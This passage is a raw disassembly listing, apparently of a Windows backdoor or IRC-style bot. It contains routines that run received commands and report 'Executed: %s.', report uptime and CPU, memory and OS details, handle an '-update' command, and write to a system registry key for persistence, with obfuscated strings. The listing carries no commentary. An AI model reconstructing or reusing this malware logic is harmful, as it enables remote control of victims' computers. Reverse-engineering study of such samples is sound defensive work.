[esp+178h+var_11C] mov bl, al mov [esp+178h+var_4], ebp call sub_401226 mov al, bl jmp loc_405675 ; --------------------------------------------------------------------------- loc_405431: ; CODE XREF: sub_404C70+50Fj lea ecx, [edi+0BCDh] call sub_4017E4 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_405522 lea ecx, [edi+9] call sub_4017E4 lea edx, [esp+178h+var_164] push eax push edx call sub_402022 add esp, 8 push 0 push 25h push 1Dh push 23h lea eax, [esp+188h+var_14C] mov ebx, 11h push 28h push eax mov [esp+190h+var_4], ebx call sub_4019B5 add esp, 18h mov esi, eax lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 12h call sub_4017E4 push eax mov ecx, esi call sub_4017E4 push eax push offset aSS_0 ; "%s %s\r\n" push offset byte_4D60B5 call sub_401E0B add esp, 10h lea ecx, [esp+178h+var_14C] mov byte ptr [esp+178h+var_4], bl call sub_401226 push 20h lea ecx, [esp+17Ch+var_14C] push 0 push ecx lea ecx, [esp+184h+var_164] call sub_4012B2 mov ecx, eax mov byte ptr [esp+178h+var_4], 13h call sub_4017E4 push eax push offset aS ; "%s" push offset byte_4E6E85 call sub_40102D add esp, 0Ch lea ecx, [esp+178h+var_14C] mov byte ptr [esp+178h+var_4], bl call sub_401226 lea ecx, [esp+178h+var_164] mov [esp+178h+var_4], 0FFFFFFFFh call sub_401226 mov al, 1 jmp loc_405675 ; --------------------------------------------------------------------------- loc_405522: ; CODE XREF: sub_404C70+7D6j lea ecx, [edi+0E23h] call sub_4017E4 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_405690 push offset asc_443600 ; " " lea edx, [esp+17Ch+var_11C] push 1 push edx mov ecx, esi call sub_4016AE mov edi, eax mov ecx, ebp mov [esp+178h+var_4], 14h call sub_4013D9 mov ecx, edi mov ebx, eax call sub_4013D9 mov ecx, esi lea edi, [ebx+eax+3] call sub_4013D9 cmp eax, edi lea ecx, [esp+178h+var_11C] setle bl or edi, 0FFFFFFFFh mov [esp+178h+var_4], edi call sub_401226 test bl, bl jnz loc_405673 lea ecx, [esp+178h+var_14C] call sub_401424 mov ecx, ebp mov [esp+178h+var_4], 15h call sub_4013D9 add eax, 2 mov ecx, esi push eax call sub_40146F push eax lea ecx, [esp+17Ch+var_14C] call sub_4015D7 lea ecx, [esp+178h+var_164] call sub_401424 lea ecx, [esp+178h+var_14C] mov byte ptr [esp+178h+var_4], 16h call sub_4017E4 push eax lea eax, [esp+17Ch+var_164] push offset aExecutedS_ ; "Executed: %s." push eax call sub_40102D add esp, 0Ch lea ecx, [esp+178h+var_14C] call sub_4017E4 push eax nop call near ptr 77C293C7h add esp, 4 cmp eax, edi lea ecx, [esi+69h] jnz short loc_40562A call sub_4014D3 mov cl, [esi+94h] mov dl, [esi+93h] push eax push offset aExec_error ; "exec.error" push ecx push edx jmp short loc_405648 ; --------------------------------------------------------------------------- loc_40562A: ; CODE XREF: sub_404C70+99Dj call sub_4014D3 push eax lea ecx, [esp+17Ch+var_164] call sub_4014D3 mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx loc_405648: ; CODE XREF: sub_404C70+9B8j mov ecx, offset byte_4D60B5 call sub_401118 lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 15h call sub_401226 mov [esp+178h+var_4], edi lea ecx, [esp+178h+var_14C] loc_40566E: ; CODE XREF: sub_404C70+1D4j ; sub_404C70+2AFj ... call sub_401226 loc_405673: ; CODE XREF: sub_404C70+922j ; sub_404C70+C70j xor al, al loc_405675: ; CODE XREF: sub_404C70+6Fj ; sub_404C70+200j ... mov ecx, [esp+178h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 168h retn 4 ; --------------------------------------------------------------------------- loc_405690: ; CODE XREF: sub_404C70+8C7j lea ecx, [edi+0C85h] call sub_4017E4 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz short loc_405706 lea edx, [esp+178h+var_164] mov ecx, edi push edx call sub_401F3C mov edi, eax lea ecx, [esi+69h] mov [esp+178h+var_4], 17h call sub_4014D3 push eax mov ecx, edi call sub_4014D3 mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx mov ecx, offset byte_4D60B5 call sub_401118 lea ecx, [esp+178h+var_164] mov bl, al mov [esp+178h+var_4], 0FFFFFFFFh call sub_401226 mov al, bl jmp loc_405675 ; --------------------------------------------------------------------------- loc_405706: ; CODE XREF: sub_404C70+A35j lea ecx, [edi+0CE1h] call sub_4017E4 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_4057F7 push 1 push offset asc_443600 ; " " lea edx, [esp+180h+var_14C] push 1 push edx mov ecx, esi call sub_4011EA push 20h lea ecx, [esp+17Ch+var_164] push 0 push ecx mov ecx, eax mov [esp+184h+var_4], 18h call sub_4012B2 mov ecx, eax mov byte ptr [esp+178h+var_4], 19h call sub_4017E4 push eax push offset aS ; "%s" push offset byte_4E6E85 call sub_40102D add esp, 0Ch lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 18h call sub_401226 or edi, 0FFFFFFFFh lea ecx, [esp+178h+var_14C] mov [esp+178h+var_4], edi call sub_401226 push 0 push 25h push 1Dh push 23h lea edx, [esp+188h+var_164] push 28h push edx call sub_4019B5 add esp, 18h mov esi, eax mov ecx, offset byte_4E6E85 mov [esp+178h+var_4], 1Ah call sub_4017E4 push eax mov ecx, esi call sub_4017E4 push eax push offset aSS_0 ; "%s %s\r\n" push offset byte_4D60B5 call sub_401E0B add esp, 10h lea ecx, [esp+178h+var_164] mov [esp+178h+var_4], edi call sub_401226 mov al, 1 jmp loc_405675 ; --------------------------------------------------------------------------- loc_4057F7: ; CODE XREF: sub_404C70+AABj lea ecx, [edi+0CB3h] call sub_4017E4 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_4058CB push offset asc_443600 ; " " lea eax, [esp+17Ch+var_14C] push 1 push eax mov ecx, esi call sub_4016AE mov ecx, eax mov [esp+178h+var_4], 1Bh call sub_4017E4 push eax nop call near ptr 77C1BF18h or ebp, 0FFFFFFFFh add esp, 4 lea ecx, [esp+178h+var_14C] mov ebx, eax mov [esp+178h+var_4], ebp call sub_401226 test ebx, ebx jnz short loc_40585F mov ebx, 7 loc_40585F: ; CODE XREF: sub_404C70+BE8j lea ecx, [esp+178h+var_164] push ebx push ecx mov ecx, edi call sub_40194C push offset byte_446F70 lea ecx, [esp+17Ch+var_164] mov [esp+17Ch+var_4], 1Ch call sub_4012EE test eax, eax jz short loc_4058B4 lea ecx, [esi+69h] call sub_4014D3 push eax lea ecx, [esp+17Ch+var_164] call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax mov ecx, offset byte_4D60B5 call sub_401118 loc_4058B4: ; CODE XREF: sub_404C70+C17j lea ecx, [esp+178h+var_164] mov [esp+178h+var_4], ebp call sub_401226 mov al, 1 jmp loc_405675 ; --------------------------------------------------------------------------- loc_4058CB: ; CODE XREF: sub_404C70+B9Cj lea ecx, [edi+0DF5h] call sub_4017E4 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_405673 lea ecx, [esp+178h+var_100] call sub_401424 push 0 push 0Eh push 15h push 2Ch push 50h push 0Eh push 0Fh push 9 push 13h push 12h push 5 push 30h push 14h push 0Eh push 5 push 12h push 12h push 15h push 1Dh push 50h push 13h push 17h push 0Fh push 4 push 0Eh push 9 push 31h push 50h push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 27h push 50h push 5 push 12h push 1 push 17h push 14h push 6 push 0Fh lea ecx, [esp+22Ch+var_164] push 2Dh push ecx mov [esp+234h+var_4], 1Dh call sub_4019B5 add esp, 0BCh mov ecx, eax mov byte ptr [esp+178h+var_4], 1Eh call sub_4017E4 push eax lea ecx, [esp+17Ch+var_100] call sub_401A87 lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 1Dh call sub_401226 mov edi, offset aN ; "N" or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+178h+var_8C] repne scasb not ecx sub edi, ecx mov [esp+178h+var_168], 0 mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb lea edi, [esp+178h+var_8C] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx mov esi, dword_50F75C mov edi, ecx lea ecx, [esp+178h+var_168] push ecx push 20019h push eax push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push 80000002h call esi push 0 push 27h push 29h push 1Dh push 1Eh push 5 push 0Ch push 2 push 1 push 0Eh lea edx, [esp+1B4h+var_178] push 1Fh push edx call sub_4019B5 add esp, 30h lea ecx, [esp+18Ch+var_A0] push edi push ecx push 1 push 0 mov ecx, eax mov [esp+19Ch+var_18], 1Fh call sub_4017E4 mov edx, [esp+19Ch+var_17C] push eax push edx nop call near ptr 2940000h lea ecx, [esp+1A4h+var_190] mov [esp+1A4h+var_30], 1Dh call sub_401226 mov eax, [esp+1A4h+var_194] mov edi, dword_50F738 push eax call edi lea ecx, [esp+1A8h+var_198] push ecx push 0F003Fh push 0 lea ecx, [esp+1B4h+var_130] call sub_4017E4 push eax push 80000002h call esi push 0 push 5 push 18h push 5 push 4Eh push 5 push 14h push 1 push 13h lea edx, [esp+1E0h+var_1A8] push 2Dh push edx call sub_4019B5 add esp, 2Ch mov ecx, eax mov [esp+1BCh+var_48], 20h call sub_4017E4 mov ebp, dword_50F764 push eax mov eax, [esp+1C0h+var_1AC] push eax call ebp lea ecx, [esp+1C4h+var_1B0] mov [esp+1C4h+var_50], 1Dh call sub_401226 mov ecx, [esp+1C4h+var_1B4] push ecx call edi push 0 push 5 push 18h push 5 push 4Eh push 48h push 0Eh push 15h push 12h lea edx, [esp+1ECh+var_1B4] push 9 push edx call sub_4019B5 add esp, 2Ch mov ecx, eax mov [esp+1C8h+var_54], 21h call sub_4017E4 push eax call sub_4015FA sub_404C70 endp ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 14244C8Dh, 742484C6h, 1D000001h, 0FFB709E8h, 244C8DFFh dd 0B8FEE844h, 22B3FFFFh, 10468h, 1046800h, 4C8D0000h dd 9C884C24h, 17C24h, 0C11BE800h, 0E850FFFFh, 23DAFC4h dd 6A006A90h, 6A186A05h, 6A4E6A05h, 6A0E6A48h, 8D126A15h dd 6A382444h, 4EE85009h, 83FFFFBEh, 0C88B2CC4h, 742484C6h dd 23000001h, 0FFBC6BE8h, 4C8D50FFh, 61E84824h, 50FFFFBCh dd 4C244C8Dh, 44368468h, 9AE85100h, 83FFFFB4h, 4C8D10C4h dd 9C881424h, 17424h, 0B680E800h, 4C8DFFFFh, 0D2E84424h dd 50FFFFBAh, 3DAD75E8h, 548D9002h, 4C8D1024h, 68527824h dd 0F003Fh, 19E8006Ah, 50FFFFBCh, 268h, 6AD6FF80h, 6A056A00h dd 6A056A18h, 6A056A4Eh, 8D016A14h, 6A342444h, 0C6E85012h dd 83FFFFBDh, 0C88B28C4h, 742484C6h, 24000001h, 0FFBBE3E8h dd 244C8BFFh, 0FF515010h, 244C8DD5h, 249C8814h, 174h, 0FFB60DE8h dd 24548BFFh, 0D7FF5210h, 56A006Ah, 56A186Ah, 486A4E6Ah dd 486A0E6Ah, 126A496Ah, 456A456Ah, 4424448Dh, 0E850096Ah dd 0FFFFBD71h, 8B38C483h, 2484C6C8h, 174h, 0BB8EE825h dd 0E850FFFFh, 0FFFFB99Eh, 8D04C483h, 8814244Ch, 174249Ch dd 0B7E80000h, 68FFFFB5h, 104h, 10468h, 244C8D00h, 0BFDBE84Ch dd 9050FFFFh, 3DAE83E8h, 6A006A02h, 6A186A05h, 6A4E6A05h dd 6A0E6A48h, 6A496A48h, 6A456A12h, 244C8D45h, 51096A44h dd 0FFBD08E8h, 38C483FFh, 84C6C88Bh, 17424h, 25E82600h dd 50FFFFBBh, 48244C8Dh, 0FFBB1BE8h, 548D50FFh, 84684C24h dd 52004436h, 0FFB354E8h, 10C483FFh, 14244C8Dh, 74249C88h dd 0E8000001h, 0FFFFB53Ah, 44244C8Dh, 0FFB98CE8h, 2FE850FFh dd 90023DACh, 1024448Dh, 78244C8Dh, 3F6850h, 6A000Fh, 0FFBAD3E8h dd 26850FFh, 0FF800000h, 6A006AD6h, 6A186A05h, 6A4E6A05h dd 6A146A05h, 8D136A01h, 6A38244Ch, 7EE85113h, 83FFFFBCh dd 0C88B2CC4h, 742484C6h, 27000001h, 0FFBA9BE8h, 24548BFFh dd 0FF525010h, 244C8DD5h, 249C8814h, 174h, 0FFB4C5E8h dd 24448BFFh, 0D7FF5010h, 56A006Ah, 56A186Ah, 136A4E6Ah dd 136A196Ah, 96A0E6Ah, 3C244C8Dh, 0E851176Ah, 0FFFFBC2Dh dd 8B30C483h, 2484C6C8h, 174h, 0BA4AE828h, 0E850FFFFh dd 0FFFFB85Ah, 8D04C483h, 8814244Ch, 174249Ch, 73E80000h dd 68FFFFB4h, 104h, 10468h, 244C8D00h, 0BE97E84Ch, 9050FFFFh dd 3DAD3FE8h, 6A006A02h, 6A186A05h, 6A4E6A05h, 6A196A13h dd 6A0E6A13h, 24548D09h, 52176A3Ch, 0FFBBC8E8h, 30C483FFh dd 84C6C88Bh, 17424h, 0E5E82900h, 50FFFFB9h, 48244C8Dh dd 0FFB9DBE8h, 448D50FFh, 84684C24h, 50004436h, 0FFB214E8h dd 10C483FFh, 14244C8Dh, 74249C88h, 0E8000001h, 0FFFFB3FAh dd 44244C8Dh, 0FFB84CE8h, 0EFE850FFh, 90023DAAh, 10244C8Dh dd 3F6851h, 6A000Fh, 84248C8Dh, 0E8000000h, 0FFFFB990h dd 26850h, 0D6FF8000h, 56A006Ah, 56A186Ah, 56A4E6Ah, 16A146Ah dd 106A046Ah, 46A156Ah, 548D476Ah, 46A4824h, 0BB33E852h dd 0C483FFFFh, 0C6C88B3Ch, 1742484h, 0E82A0000h, 0FFFFB950h dd 24448B50h, 0D5FF5014h, 14244C8Dh, 74249C88h, 0E8000001h dd 0FFFFB37Ah, 10244C8Bh, 6AD7FF51h, 6A056A00h, 6A056A18h dd 6A056A4Eh, 6A076A0Ch, 6A056A01h, 24548D02h, 52026A40h dd 0FFBAE0E8h, 34C483FFh, 84C6C88Bh, 17424h, 0FDE82B00h dd 50FFFFB8h, 0FFB70DE8h, 4C483FFh, 14244C8Dh, 74249C88h dd 0E8000001h, 0FFFFB326h, 10468h, 1046800h, 4C8D0000h dd 4AE84C24h, 50FFFFBDh, 0ABF2E890h, 6A023Dh, 186A056Ah dd 4E6A056Ah, 0C6A056Ah, 16A076Ah, 26A056Ah, 4024448Dh dd 0E850026Ah, 0FFFFBA79h, 8B34C483h, 2484C6C8h, 174h dd 0B896E82Ch, 8D50FFFFh, 0E848244Ch, 0FFFFB88Ch, 244C8D50h dd 3684684Ch, 0E8510044h, 0FFFFB0C5h, 8D10C483h, 8814244Ch dd 174249Ch, 0ABE80000h, 8DFFFFB2h, 0E844244Ch, 0FFFFB6FDh dd 0A9A0E850h, 8D90023Dh, 8D102454h, 5278244Ch, 0F003F68h dd 0E8006A00h, 0FFFFB844h, 26850h, 0D6FF8000h, 0E6A006Ah dd 276A0F6Ah, 136A0B6Ah, 448D016Ah, 2E6A3024h, 0B9F3E850h dd 0C483FFFFh, 0C6C88B24h, 1742484h, 0E82D0000h, 0FFFFB810h dd 10244C8Bh, 0D5FF5150h, 14244C8Dh, 74249C88h, 0E8000001h dd 0FFFFB23Ah, 1024548Bh, 6AD7FF52h, 6A056A00h, 6A056A18h dd 6A0E6A4Eh, 6A0D6A0Fh, 6A136A0Bh, 24448D01h, 50146A40h dd 0FFB9A0E8h, 34C483FFh, 84C6C88Bh, 17424h, 0BDE82E00h dd 50FFFFB7h, 0FFB5CDE8h, 4C483FFh, 14244C8Dh, 74249C88h dd 0E8000001h, 0FFFFB1E6h, 10468h, 1046800h, 4C8D0000h dd 0AE84C24h, 50FFFFBCh, 0AAB2E890h, 6A023Dh, 186A056Ah dd 4E6A056Ah, 0F6A0E6Ah, 0B6A0D6Ah, 16A136Ah, 40244C8Dh dd 0E851146Ah, 0FFFFB939h, 8B34C483h, 2484C6C8h, 174h dd 0B756E82Fh, 8D50FFFFh, 0E848244Ch, 0FFFFB74Ch, 36846850h dd 548D0044h, 0E8525024h, 0FFFFAF85h, 8D10C483h, 8814244Ch dd 174249Ch, 6BE80000h, 8DFFFFB1h, 0E844244Ch, 0FFFFB5BDh dd 0A860E850h, 8D90023Dh, 8D102444h, 5078244Ch, 0F003F68h dd 0E8006A00h, 0FFFFB704h, 26850h, 0D6FF8000h, 126A006Ah dd 126A056Ah, 0C6A0F6Ah, 186A106Ah, 0B0248C8Dh, 6A000000h dd 0AEE8511Fh, 83FFFFB8h, 0C88B28C4h, 742484C6h, 30000001h dd 0FFB6CBE8h, 24548BFFh, 0FF525010h, 248C8DD5h, 90h, 74249C88h dd 0E8000001h, 0FFFFB0F2h, 1024448Bh, 8BD7FF50h, 50FB0435h dd 36686800h, 0D6FF0044h, 44364C68h, 68D6FF00h, 44362Ch dd 868D6FFh, 0FF004436h, 10C483D6h, 44244C8Dh, 742484C6h dd 1D000001h, 0FFB0B5E8h, 244C8DFFh, 2484C778h, 174h, 0FFFFFFFFh dd 0FFB0A1E8h, 0E901B0FFh, 0FFFFF4E9h, 90909090h, 154h dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_4066E0 proc near ; CODE XREF: sub_40194Cj var_28 = dword ptr -28h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 0FFFFFFFFh push offset SEH_4066E0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push ebp push esi xor ebx, ebx push edi lea ecx, [esp+38h+var_24] mov [esp+38h+var_28], ebx call sub_401424 mov esi, [esp+38h+arg_4] mov ebp, 1 cmp esi, ebx mov [esp+38h+var_4], ebp jnz short loc_406731 mov esi, [esp+38h+arg_0] push ebx mov ecx, esi call sub_4020F4 mov [esp+38h+var_28], ebp jmp loc_4067D7 ; --------------------------------------------------------------------------- loc_406731: ; CODE XREF: sub_4066E0+3Aj nop call near ptr 27E08A6h mov ecx, eax mov eax, 10624DD3h mul ecx mov ecx, edx mov eax, 0C22E4507h shr ecx, 6 imul ecx add edx, ecx sar edx, 10h mov eax, edx shr eax, 1Fh add edx, eax mov edi, edx cmp edi, esi jl short loc_4067C3 mov eax, ecx mov ecx, 15180h cdq idiv ecx mov esi, 0E10h mov ecx, edx mov eax, ecx cdq idiv esi mov eax, 88888889h mov esi, edx imul esi add edx, esi sar edx, 5 mov eax, edx shr eax, 1Fh add edx, eax mov eax, 91A2B3C5h push edx imul ecx add edx, ecx sar edx, 0Bh mov ecx, edx shr ecx, 1Fh add edx, ecx push edx push edi lea edx, [esp+44h+var_24] push offset aUpDdDhDm ; "up: %dd %dh %dm" push edx call sub_40102D mov esi, [esp+4Ch+arg_0] add esp, 14h lea eax, [esp+38h+var_24] mov ecx, esi push eax call sub_4014C9 jmp short loc_4067D3 ; --------------------------------------------------------------------------- loc_4067C3: ; CODE XREF: sub_4066E0+7Cj mov esi, [esp+38h+arg_0] push offset byte_446F70 mov ecx, esi call sub_401861 loc_4067D3: ; CODE XREF: sub_4066E0+E1j mov [esp+38h+var_28], ebp loc_4067D7: ; CODE XREF: sub_4066E0+4Cj lea ecx, [esp+38h+var_24] mov byte ptr [esp+38h+var_4], bl call sub_401226 mov ecx, [esp+38h+var_C] mov eax, esi pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 28h retn 8 sub_4066E0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_406850: ; CODE XREF: ___:00401668j push ecx push esi mov esi, [esp+0Ch] push offset byte_446F70 mov ecx, esi mov dword ptr [esp+8], 0 call sub_401861 mov eax, esi pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_406890 proc near ; CODE XREF: sub_401F3Cj var_198 = dword ptr -198h var_194 = dword ptr -194h var_190 = dword ptr -190h var_18C = byte ptr -18Ch var_174 = byte ptr -174h var_164 = byte ptr -164h var_14C = byte ptr -14Ch var_144 = dword ptr -144h var_140 = dword ptr -140h var_12C = dword ptr -12Ch var_128 = dword ptr -128h var_124 = dword ptr -124h var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_118 = byte ptr -118h var_98 = byte ptr -98h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 push 0FFFFFFFFh push offset SEH_406890 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18Ch push ebp push esi push edi lea ecx, [esp+1A4h+var_18C] mov [esp+1A4h+var_198], 0 call sub_401424 mov [esp+1A4h+var_4], 1 nop call near ptr 27E08A6h mov ecx, eax mov eax, 10624DD3h mul ecx mov esi, edx lea edx, [esp+1A4h+var_14C] push edx mov [esp+1A8h+var_190], 10h shr esi, 6 mov [esp+1A8h+var_194], 15h call near ptr 2820000h nop lea eax, [esp+1A4h+var_12C] mov [esp+1A4h+var_12C], 94h push eax nop call near ptr 2810000h mov eax, [esp+1A4h+var_128] cmp eax, 4 jnz short loc_40695E mov eax, [esp+1A4h+var_124] test eax, eax jnz short loc_406946 mov eax, [esp+1A4h+var_11C] cmp eax, 1 jnz short loc_406936 mov ebp, offset a95 ; "95" jmp loc_4069D1 ; --------------------------------------------------------------------------- loc_406936: ; CODE XREF: sub_406890+9Aj cmp eax, 2 jnz loc_4069CD mov ebp, offset aNt ; "NT" jmp short loc_40699A ; --------------------------------------------------------------------------- loc_406946: ; CODE XREF: sub_406890+8Ej cmp eax, 0Ah jnz short loc_406952 mov ebp, offset a98 ; "98" jmp short loc_406990 ; --------------------------------------------------------------------------- loc_406952: ; CODE XREF: sub_406890+B9j cmp eax, 5Ah jnz short loc_40698B mov ebp, offset aMe ; "ME" jmp short loc_406990 ; --------------------------------------------------------------------------- loc_40695E: ; CODE XREF: sub_406890+83j cmp eax, 5 jnz short loc_40698B mov eax, [esp+1A4h+var_124] test eax, eax jnz short loc_406975 mov ebp, offset a2000 ; "2000" jmp short loc_406990 ; --------------------------------------------------------------------------- loc_406975: ; CODE XREF: sub_406890+DCj cmp eax, 1 jnz short loc_406981 mov ebp, offset aXp ; "XP" jmp short loc_406990 ; --------------------------------------------------------------------------- loc_406981: ; CODE XREF: sub_406890+E8j cmp eax, 2 mov ebp, offset a2003 ; "2003" jz short loc_406990 loc_40698B: ; CODE XREF: sub_406890+C5j ; sub_406890+D1j mov ebp, offset a??? ; "???" loc_406990: ; CODE XREF: sub_406890+C0j ; sub_406890+CCj ... cmp [esp+1A4h+var_11C], 2 jnz short loc_4069D1 loc_40699A: ; CODE XREF: sub_406890+B4j mov al, [esp+1A4h+var_118] test al, al jz short loc_4069D1 lea ecx, [esp+1A4h+var_118] lea edx, [esp+1A4h+var_98] push ecx push ebp push offset aSS_2 ; "%s [%s]" push edx nop call sub_5EDAB2 add esp, 10h lea ebp, [esp+1A4h+var_98] jmp short loc_4069D1 ; --------------------------------------------------------------------------- loc_4069CD: ; CODE XREF: sub_406890+A9j mov ebp, [esp+1A4h+var_198] loc_4069D1: ; CODE XREF: sub_406890+A1j ; sub_406890+108j ... lea eax, [esp+1A4h+var_190] lea ecx, [esp+1A4h+var_174] push eax push ecx call near ptr 28010B7h nop lea edx, [esp+1A4h+var_194] lea eax, [esp+1A4h+var_164] push edx push eax call near ptr 2930000h nop mov eax, esi mov ecx, 15180h cdq idiv ecx lea eax, [esp+1A4h+var_174] mov edi, 0E10h mov ecx, edx lea edx, [esp+1A4h+var_164] push edx push eax mov eax, ecx cdq idiv edi mov eax, 88888889h mov edi, edx imul edi add edx, edi sar edx, 5 mov eax, edx shr eax, 1Fh add edx, eax mov eax, 91A2B3C5h push edx imul ecx add edx, ecx mov eax, 0C22E4507h sar edx, 0Bh mov ecx, edx shr ecx, 1Fh add edx, ecx mov ecx, [esp+1B0h+var_120] push edx imul esi add edx, esi sar edx, 10h mov eax, edx shr eax, 1Fh add edx, eax mov eax, [esp+1B4h+var_128] push edx mov edx, [esp+1B8h+var_124] push ecx mov ecx, [esp+1BCh+var_144] push edx push eax mov eax, 804021h push ebp mul ecx sub ecx, edx mov eax, 804021h shr ecx, 1 add ecx, edx shr ecx, 13h push ecx mov ecx, [esp+1CCh+var_140] mul ecx sub ecx, edx shr ecx, 1 add ecx, edx shr ecx, 13h push ecx call sub_4017F3 push eax lea ecx, [esp+1D4h+var_18C] push offset aCpuDmhz_Memory ; "CPU: %dMHz. Memory: %dMB/%dMB. OS: Win "... push ecx call sub_40102D mov esi, [esp+1DCh+arg_0] add esp, 38h lea edx, [esp+1A4h+var_18C] push edx mov ecx, esi call sub_4014C9 mov [esp+1A4h+var_198], 1 lea ecx, [esp+1A4h+var_18C] mov byte ptr [esp+1A4h+var_4], 0 call sub_401226 mov ecx, [esp+1A4h+var_C] mov eax, esi pop edi pop esi pop ebp mov large fs:0, ecx add esp, 198h retn 4 sub_406890 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 0A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_406BA0 proc near ; CODE XREF: sub_4015DCj mov eax, ecx mov dword ptr [eax], offset off_43E008 mov dword ptr [eax+110h], 0 retn sub_406BA0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_406BD0: ; CODE XREF: ___:00401F8Cj push esi mov esi, ecx call sub_40143D test byte ptr [esp+8], 1 jz short loc_406BE8 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_406BE8: ; CODE XREF: ___:00406BDDj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_406C00 proc near ; CODE XREF: sub_40143Dj mov dword ptr [ecx], offset off_43E008 mov ecx, [ecx+110h] test ecx, ecx jz short locret_406C17 push ecx call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx locret_406C17: ; CODE XREF: sub_406C00+Ej retn sub_406C00 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_406C30 proc near ; CODE XREF: sub_401384j arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_406C30 push eax mov large fs:0, esp sub esp, 448h push ebx mov ebx, ecx mov eax, [ebx+110h] test eax, eax jz short loc_406C61 push eax call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_406C61: ; CODE XREF: sub_406C30+26j push ebp push esi mov esi, [esp+460h+arg_0] push edi mov edi, esi or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx push ecx call sub_4367FA sub_406C30 endp ; --------------------------------------------------------------------------- mov edx, eax mov edi, esi or ecx, 0FFFFFFFFh xor eax, eax mov [ebx+110h], edx repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 rep movsb mov edi, [ebx+110h] or ecx, 0FFFFFFFFh mov byte ptr [ebx+4], 0 mov dword ptr [ebx+5], 0 mov byte ptr [ebx+9], 0 mov byte ptr [ebx+0Ah], 0 mov byte ptr [ebx+0Bh], 0 repne scasb not ecx push ecx call sub_4367FA ; --------------------------------------------------------------------------- mov edi, [ebx+110h] mov edx, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov ebp, dword_50FAF4 mov eax, ecx mov esi, edi mov edi, edx push offset asc_443600 ; " " shr ecx, 2 rep movsd mov ecx, eax push edx and ecx, 3 rep movsb call ebp ; strtok add esp, 10h mov [esp+58h], eax lea esi, [esp+5Ch] mov edi, 0FFh loc_406D12: ; CODE XREF: ___:00406D24j push offset asc_443600 ; " " push 0 call ebp ; strtok mov [esi], eax add esp, 8 add esi, 4 dec edi jnz short loc_406D12 mov eax, [esp+58h] xor ecx, ecx cmp eax, ecx jz loc_406F18 lea ebp, [esp+58h] loc_406D38: ; CODE XREF: ___:00406F10j mov edi, [ebp+0] mov esi, offset dword_4437EC mov eax, edi loc_406D42: ; CODE XREF: ___:00406D60j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_406D66 test cl, cl jz short loc_406D62 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_406D66 add eax, 2 add esi, 2 test cl, cl jnz short loc_406D42 loc_406D62: ; CODE XREF: ___:00406D4Cj xor eax, eax jmp short loc_406D6B ; --------------------------------------------------------------------------- loc_406D66: ; CODE XREF: ___:00406D48j ; ___:00406D56j sbb eax, eax sbb eax, 0FFFFFFFFh loc_406D6B: ; CODE XREF: ___:00406D64j test eax, eax jz loc_406F08 mov esi, offset aUpdate ; "-update" mov eax, edi loc_406D7A: ; CODE XREF: ___:00406D98j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_406D9E test cl, cl jz short loc_406D9A mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_406D9E add eax, 2 add esi, 2 test cl, cl jnz short loc_406D7A loc_406D9A: ; CODE XREF: ___:00406D84j xor eax, eax jmp short loc_406DA3 ; --------------------------------------------------------------------------- loc_406D9E: ; CODE XREF: ___:00406D80j ; ___:00406D8Ej sbb eax, eax sbb eax, 0FFFFFFFFh loc_406DA3: ; CODE XREF: ___:00406D9Cj test eax, eax jnz short loc_406DB0 mov byte ptr [ebx+9], 1 jmp 